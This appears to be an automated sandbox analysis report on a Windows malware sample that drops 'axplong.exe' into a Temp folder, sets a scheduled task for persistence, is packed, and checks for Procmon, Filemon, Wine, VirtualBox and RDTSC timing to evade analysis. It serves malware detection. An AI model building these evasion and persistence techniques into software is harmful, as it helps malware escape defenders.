                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: mstask.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: dui70.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: duser.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: chartv.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: oleacc.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: atlthunk.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: textinputframework.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: coreuicomponents.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: ntmarta.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wtsapi32.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: winsta.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: textshaping.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: explorerframe.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32Jump to behavior
                      Source: file.exeStatic file information: File size 1877504 > 1048576
                      Source: file.exeStatic PE information: Raw size of mjqourvh is bigger than: 0x100000 < 0x198a00

                      Data Obfuscation

                      barindex
                      Detected unpacking (changes PE section rights)
                      Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 1.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 2.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 6.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 8.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 9.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 10.2.axplong.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjqourvh:EW;duhvzjsi:EW;.taggant:EW;
                      Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                      Source: axplong.exe.0.drStatic PE information: real checksum: 0x1cbcf1 should be: 0x1d0720
                      Source: file.exeStatic PE information: real checksum: 0x1cbcf1 should be: 0x1d0720
                      Source: file.exeStatic PE information: section name:
                      Source: file.exeStatic PE information: section name: .idata
                      Source: file.exeStatic PE information: section name:
                      Source: file.exeStatic PE information: section name: mjqourvh
                      Source: file.exeStatic PE information: section name: duhvzjsi
                      Source: file.exeStatic PE information: section name: .taggant
                      Source: axplong.exe.0.drStatic PE information: section name:
                      Source: axplong.exe.0.drStatic PE information: section name: .idata
                      Source: axplong.exe.0.drStatic PE information: section name:
                      Source: axplong.exe.0.drStatic PE information: section name: mjqourvh
                      Source: axplong.exe.0.drStatic PE information: section name: duhvzjsi
                      Source: axplong.exe.0.drStatic PE information: section name: .taggant
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 1_2_00CFD84C push ecx; ret 1_2_00CFD85F
                      Source: file.exeStatic PE information: section name: entropy: 7.985952425600344
                      Source: file.exeStatic PE information: section name: mjqourvh entropy: 7.954053872063057
                      Source: axplong.exe.0.drStatic PE information: section name: entropy: 7.985952425600344
                      Source: axplong.exe.0.drStatic PE information: section name: mjqourvh entropy: 7.954053872063057
                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeJump to dropped file

                      Boot Survival

                      barindex
                      Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonclassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonclassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonclassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\axplong.jobJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion

                      barindex
                      Tries to detect sandboxes / dynamic malware analysis system (registry check)
                      Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                      Tries to detect virtualization through RDTSC time measurements
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 2EF1F5 second address: 2EF1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 2EF1FB second address: 2EF21B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA955157A04h 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 46020A second address: 460226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D5h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 460226 second address: 460245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007FA955157A27h 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007FA9551579F6h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 460245 second address: 460268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FA954E703D7h 0x0000000f jmp 00007FA954E703CBh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638AF second address: 4638B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638B3 second address: 4638BD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638BD second address: 4638D2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA9551579F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FA9551579F6h 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638D2 second address: 4638D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638D6 second address: 4638EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop esi 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4638EA second address: 463901 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FA954E703C8h 0x00000015 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463901 second address: 46397B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FA955157A00h 0x00000013 jo 00007FA9551579FCh 0x00000019 jnc 00007FA9551579F6h 0x0000001f popad 0x00000020 pop eax 0x00000021 mov edx, dword ptr [ebp+122D39D8h] 0x00000027 push 00000003h 0x00000029 mov dword ptr [ebp+122D18CAh], edx 0x0000002f push 00000000h 0x00000031 jmp 00007FA955157A04h 0x00000036 push 00000003h 0x00000038 jmp 00007FA9551579FDh 0x0000003d push E2B02509h 0x00000042 push eax 0x00000043 push edx 0x00000044 jbe 00007FA9551579F8h 0x0000004a push edi 0x0000004b pop edi 0x0000004c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 46397B second address: 4639C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 22B02509h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FA954E703C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a lea ebx, dword ptr [ebp+1244876Fh] 0x00000030 mov ecx, ebx 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463B00 second address: 463B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463C5D second address: 463C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463C64 second address: 463CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 6E8BF761h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FA9551579F8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov ecx, edx 0x0000002a or dword ptr [ebp+122D17EBh], ebx 0x00000030 mov dword ptr [ebp+122D2720h], edx 0x00000036 lea ebx, dword ptr [ebp+12448783h] 0x0000003c mov esi, dword ptr [ebp+122D39D0h] 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FA955157A01h 0x0000004a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463CC1 second address: 463CD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463CD0 second address: 463CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 463CD4 second address: 463CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 482E41 second address: 482E95 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA9551579F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007FA9551579F6h 0x00000013 pop ebx 0x00000014 popad 0x00000015 js 00007FA955157A39h 0x0000001b jng 00007FA955157A0Dh 0x00000021 jmp 00007FA955157A07h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FA955157A08h 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 457BFD second address: 457C02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 457C02 second address: 457C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA9551579F6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 jmp 00007FA955157A05h 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 457C2E second address: 457C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481538 second address: 48153C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48153C second address: 48154F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FA954E703CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 48154F second address: 481592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FA9551579FDh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FA955157A25h 0x00000012 jmp 00007FA9551579FEh 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007FA9551579F6h 0x0000001f jmp 00007FA955157A03h 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 481844 second address: 48184B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
